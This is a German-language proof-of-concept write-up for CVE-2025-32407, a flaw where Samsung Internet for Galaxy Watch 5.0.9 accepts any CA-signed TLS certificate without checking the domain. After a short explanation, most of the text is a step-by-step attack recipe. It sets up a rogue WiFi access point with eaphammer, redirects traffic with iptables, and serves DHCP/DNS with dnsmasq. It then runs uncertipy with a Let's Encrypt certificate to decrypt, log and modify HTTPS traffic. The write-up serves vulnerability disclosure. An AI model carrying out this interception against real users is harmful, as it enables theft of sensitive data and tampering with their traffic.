
Proof-of-Concept-Exploit für CVE-2025-32407: TLS-Zertifikatsvalidierungs-Bypass in Samsung Internet für Galaxy Watch, der Man-in-the-Middle-Angriffe auf HTTPS-Datenverkehr ermöglicht.
Proof of Concept für CVE-2025-32407: eine Fehlkonfiguration in der TLS-Zertifikatsvalidierung der Samsung Galaxy Watch App „Samsung Internet for Galaxy Watch“ Version 5.0.9.
Die Galaxy Watch App „Samsung Internet for Galaxy Watch“ Version 5.0.9, verfügbar bis einschließlich Samsung Galaxy Watch 3, validiert TLS-Zertifikate nicht ordnungsgemäß. Dadurch kann ein Angreifer alle von der Benutzerin besuchten Websites impersonieren. Es handelt sich um eine kritische Fehlkonfiguration in der Art und Weise, wie der Browser die Identität des Servers validiert. Sie macht die Verwendung von HTTPS als sicheren Kanal zunichte und ermöglicht Man-in-the-Middle-Angriffe, das Stehlen sensibler Informationen oder die Manipulation eingehender und ausgehender Daten.
In diesem speziellen Fall prüft der Browser nicht, ob die Domain des Zertifikats mit dem Domainnamen der Website übereinstimmt. Das bedeutet, dass er jedes TLS-Zertifikat akzeptiert, das für eine beliebige Domain ausgestellt wurde, solange es von einer vertrauenswürdigen Zertifizierungsstelle signiert ist. Ein Angreifer könnte sich dann ein kostenloses Zertifikat für eine von ihm kontrollierte Domain besorgen und damit jede TLS-Verbindung abfangen, die von der App ausgeht.
Dies wurde mit einer Samsung Galaxy Watch 3 und der neuesten Version von „Samsung Internet for Galaxy Watch“ (5.0.9) getestet. Bitte beachten Sie, dass dieses Gerät derzeit nicht unterstützt wird.

Um die Ausnutzung zu unterstützen, habe ich ein Tool entwickelt, das TLS-Kommunikation dynamisch abfängt und von mir kontrollierte TLS-Zertifikate generiert. Damit kann ich die eingehenden und ausgehenden Daten entschlüsseln und manipulieren: https://github.com/diegovargasj/uncertipy. Es wird ein gültiges TLS-Zertifikat mit zugehörigem Schlüssel benötigt, das von einer echten Zertifizierungsstelle signiert ist. Dies kann einfach und kostenlos mit der Let’s Encrypt API und einer Domain erledigt werden. Die Dateien werden unter /path/to/cert.pem bzw. /path/to/key.pem gespeichert.
Es gibt mehrere Möglichkeiten, die Kommunikation der Watch abzufangen, z. B. durch Manipulation von DNS-Antworten oder durch Verbinden mit einem eigens dafür erstellten WiFi-Zugangspunkt. Wir werden letzteres tun und einen Computer mit zwei Netzwerkschnittstellen verwenden: wlan0 für den Internetzugang und wlan1 für den WiFi-Zugangspunkt.
Ich werde eaphammer (https://github.com/s0lst1c3/eaphammer) verwenden, um den WiFi-AP einzurichten, aber Sie können auch ein beliebiges anderes Tool nutzen.
sudo ./eaphammer --auth wpa-psk --wpa-passphrase MyPassword --interface wlan1 --essid WLAB
Weisen Sie nun eine IP-Adresse für die Schnittstelle zu:
sudo ip addr add 10.0.0.1/24 dev wlan1
Leiten Sie den Datenverkehr an den lokalen Port 9900 um:
sudo iptables -A INPUT -i wlan1 -j ACCEPT
sudo iptables -t nat -A PREROUTING -i wlan1 -p tcp -m tcp -j REDIRECT --to-ports 9900
sudo iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
Aktivieren Sie DHCP und DNS:
sudo dnsmasq --no-daemon --interface wlan1 --dhcp-range=10.0.0.100,10.0.0.200 --log-dhcp --log-queries --bind-interfaces -C /dev/null
Starten Sie schließlich uncertipy, um den TLS-Datenverkehr auf Port 9900 abzufangen. Dieser Datenverkehr wird zu einem HTTP-Proxy auf Port 8080 weitergeleitet, um protokolliert zu werden:
python3 uncertipy.py -a 0.0.0.0 -p 9900 -c /path/to/cert.pem -k /path/to/key.pem -m replaced_key -u 127.0.0.1:8080
Jetzt verbinden wir die Watch mit dem WiFi-AP, öffnen die App und navigieren zu einer beliebigen HTTPS-Website.


Das uncertipy-Tool wird die TLS-Abfangvorgänge melden.

Der HTTP-Proxy beginnt, Anfragen abzufangen, die möglicherweise sensible Informationen enthalten. Darüber hinaus können wir die Funktionen des Proxys nutzen, um eingehende oder ausgehende Anfragen zu modifizieren.

Die App sollte normal funktionieren und den Inhalt der Website anzeigen.
